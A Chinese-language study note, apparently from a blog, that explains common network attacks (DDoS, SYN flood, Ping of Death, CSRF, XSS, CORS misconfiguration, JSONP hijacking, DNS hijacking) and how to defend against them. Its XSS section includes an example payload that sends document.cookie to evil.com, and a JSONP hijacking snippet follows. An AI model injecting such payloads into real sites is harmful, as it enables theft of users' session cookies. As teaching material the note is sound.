常见网络攻击

DDoS攻击,CC攻击

CC攻击

DDoS的一种

发送大量的合法请求消耗应用层的资源(CPU,内存,数据等),耗尽资源,比如在教务网站中写死循环脚本持续访问某个资源,无技术难度

防御: 对同IP限流,验证码,行为分析

DDoS

全名分布式拒绝攻击,攻击者控制大量僵尸设备(被植入病毒的电脑,服务器等)在同一时间向一个目标发送海量请求导致目标网络拥堵,系统资源耗尽无法为正常用户提供服务,DDoS可以发生在应用层,运输层,网络层,常用方式是UDP洪水,SYN洪水,PoD

核心特点:

  1. 分布式: 攻击者流量往往来自不同地方,无法通过封锁单一IP或小范围IP防护
  2. 消耗资源: 耗尽目标带宽,CPU,内存或连接数
  3. 难以追踪: 攻击源头是大量被劫持的僵尸设备,难以追溯真正攻击者

常见攻击类型:

  1. 流量型攻击: 用海量数据包塞满带宽,如UDP(运输层协议)洪水,ICMP(网络层协议)洪水

  2. 协议型攻击: 利用协议漏洞消耗服务器资源,如SYN洪水,Ping of Death

    SYN洪水: 即三次握手只进行第一次,在服务器响应之后不回应,早期是收到第一个SYN包之后就会把这个请求塞进队列,然后等待之后的握手,但是由于一直没有进行后面的握手导致队列被塞满,新的请求被丢弃,现在在启用SYNCookie的情况下都是第二次握手服务器发送序列号,第三次获取到正确的返回序列号之后才进队列

    Ping of Death: 旧式操作系统缓冲区大概65kb,这时候应用层构造70kb的ICMP数据,直接传给网络层(不经过运输层 ),注意通过原始套接字应用可以直接构造TCP包/IP包/ICMP包 ,网络层ICMP协议把他包装成ICMP包,IP协议加IP头并分片(每片小于1500B)发给数据链路层加Mac头尾,然后发给物理层,之后开始解包过程,先去Mac头尾和IP头尾还原分片,然后网络层将各个分片拼起来,注意,这里就是问题所在,由于分片是一个一个缓存的,即假如是60kg的包分60个1kg的,缓冲区是65kg,那么会在第一个1kg发过来的时候存进缓冲区,第二个发过来存进缓冲区...都收到后把60个1kg拼接成60kg的,但是如果是70kg,那当第66个包过来的时候他就缓冲区溢出了操作系统崩溃了,现在都是在第66个包到来之前先检查这个包如果加进来是否溢出,如果会溢出就丢弃这个包和所有同一组的包

  3. 应用层攻击: 模拟正常的HTTP请求,让Web服务器疲于处理,比如HTTP洪水,Slowloris(慢速发送不完整请求),CC攻击实际上就是应用层攻击的一种

防御:

  1. 增加带宽,但是这样成本高效率低

  2. 部署专业服务,防火墙等

  3. 配置策略: 限制单IP连接数,启动CDN,启动SYNCookie(就是原本是第一次握手的时候分配资源,现在是三次握手完成之后分配)等

    SYN Cookie现在都是默认开启,检测到攻击(即检测到半连接队列被填满)的时候自动激活

跨域攻击

  1. CSRF: 由于同源策略只限制读取,并不限制发送,所以无法约束CSRF,CSRF攻击是利用已登录的网站浏览器发请求的时候会携带Cookie这一特性来进行攻击,主要用于篡改,不用于窃取

    解决方法: 设置Cookie的SameSite属性为Strict可以禁止第三方站点发起请求的时候携带Cookie,但是这样一来点击链接跳转页面的时候也会丢失Cookie,影响用户体验 / SameSite=Lax+CSRF Token,即服务端生成一个随机字符串,用户在提交表单的时候提交这个token,服务端进行校验

  2. XSS: 跨站脚本攻击,注意这个其实本质上不依赖跨域,因为往往就是在目标页面注入的 ,比如在某个网站找到漏洞植入<script> fetch('https://evil.com/steal?cookie='+document.cookie) </script>

    解决方法: 对用户输入进行严格过滤和转义(输出编码),给Cookie设置HttpOnly

  3. CORS配置不当: 比如配置成通配符*或动态反射用户输入的Orign而不加校验,这会导致恶意请求不但能请求还能读取

    此外,配置成null也很危险,about:blank会继承发起的页面的源,但是如果是直接在页面输入about:blank那他的源就是null

    还有iframe当设置了sandbox但是sandbox不包含allow-same-origin的时候源会被设置为null

  4. JSONP劫持: 如果某个接口使用了JSONP回调,例如 https://api.com/user?callback=jsonHandler,攻击者可以在自己的页面构造 <script src="https://api.com/user?callback=stealData">。当用户访问攻击者页面时,用户相当于在攻击者页面的上下文中,以登录态执行了该JSONP接口,返回的数据会流入攻击者定义的 stealData 函数中,导致数据泄露。注意现在已经基本失效,因为Lax下script标签根本不会携带Cookie,除非手动把SameLite设置成None

    解决方法: 不使用JSONP

中间人攻击

即在通信双方中间拦截,使得通信双方的请求和响应都经过自己的读取和处理

ARP欺骗

伪造ARP响应,让目标主机误以为自己的Mac就是网关

DNS劫持

DNS解析是域名=>ip的解析过程,DNS劫持就是在这个解析过程动手脚来让DNS解析指向错误的ip地址,往往是钓鱼网站或病毒下载源

  1. 本地DNS: 篡改你本地电脑或路由器的DNS缓存
  2. 中间人攻击在网络链路上拦截DNS请求并返回虚假的DNS响应,往往在公共WIFI网络中风险较高
  3. DNS服务器劫持,攻击DNS服务器
  4. 域注册商劫持:篡改域注册商的记录

检查:

  1. 如果网站支持HTTPS,会提示证书错误
  2. dig 域名来检查对比已知的正确IP是否一致
  3. 临时把DNS更换为公共DNS(如8.8.8.8或1.1.1.1),如果问题消失是本地运营商DNS被劫持

防范:

  1. 使用加密DNS
  2. 修改路由器默认密码来加固路由器
  3. 优先访问HTTPS
  4. 使用信誉良好的公共DNS
伪造WIFI热点

架设一个跟合法WIFI同名的热点

XSS攻击

即跨站脚本攻击,用户在你的网站中插入恶意代码,让其他的浏览器执行这些代码

  1. 反射型XSS(非持久化)(前端发带恶意参数请求,服务器端反射回来的恶意参数): 制造一个带有恶意代码的链接给用户,比如淘宝链接,参数为恶意代码,比如就会对这些用户进行攻击

  2. DOM型XSS(前端JS自己写入DOM的): 一些危险的直接写入用户未处理内容的代码可能会把用户故意写的dom写进去, 比如:

    **document.write()**动态写入内容,如果要写入的内容包含用户的输入,就可能被用户直接输入dom让js解析;

    innerHTML,同前一个;

    outerHTML,获取或替换html(包括自己),同前一个

    location.hash,这个比较特殊,url的结构是url主体?参数#片段标识符,location.search是获取参数,这个会发送到服务器,这个属于反射型XSS,而location.hash是获取片段标识符,这个东西只在前端用,不会发送到服务器,这个是DOM型XSS

现代框架vue/react等默认防XSS,因为里面是自动转义的

相关推荐
nuoxin1143 分钟前
HR4988替代A4988-富利威
网络·人工智能·嵌入式硬件·fpga开发·dsp开发
EnCi Zheng35 分钟前
N3A-一个端口只能给一个程序使用吗?[特殊字符]
网络·nginx·docker
技术硬汉2 小时前
Ai帮我找问题-路由器拨号问题-SIM卡不识别
网络·智能路由器
帅次2 小时前
Android 高级工程师面试:网络与数据层 近1年高频追问 18 题
android·网络·okhttp·面试·retrofit·gilde
gugucoding2 小时前
39. 【C语言】经典 C 项目实战:迷你 HTTP 服务器
c语言·开发语言·http
网络小白不怕黑2 小时前
11.虚拟机模拟路由器实验
linux·运维·服务器·网络
编程(变成)小辣鸡4 小时前
如何防止接口被恶意刷?
java·后端·网络安全
ylscode10 小时前
OpenSSH 10.4 正式发布:后量子加密落地,多项高危漏洞得到修复
网络·安全·网络安全
DianSan_ERP11 小时前
电商架构演进:如何在高并发场景下实现多平台API的标准化履约?
运维·前端·网络·安全·架构·自动化
阿成学长_Cain11 小时前
Linux ipcs 命令超全详解:查看共享内存 / 消息队列 / 信号量,IPC 运维必备
linux·运维·服务器·网络·数据库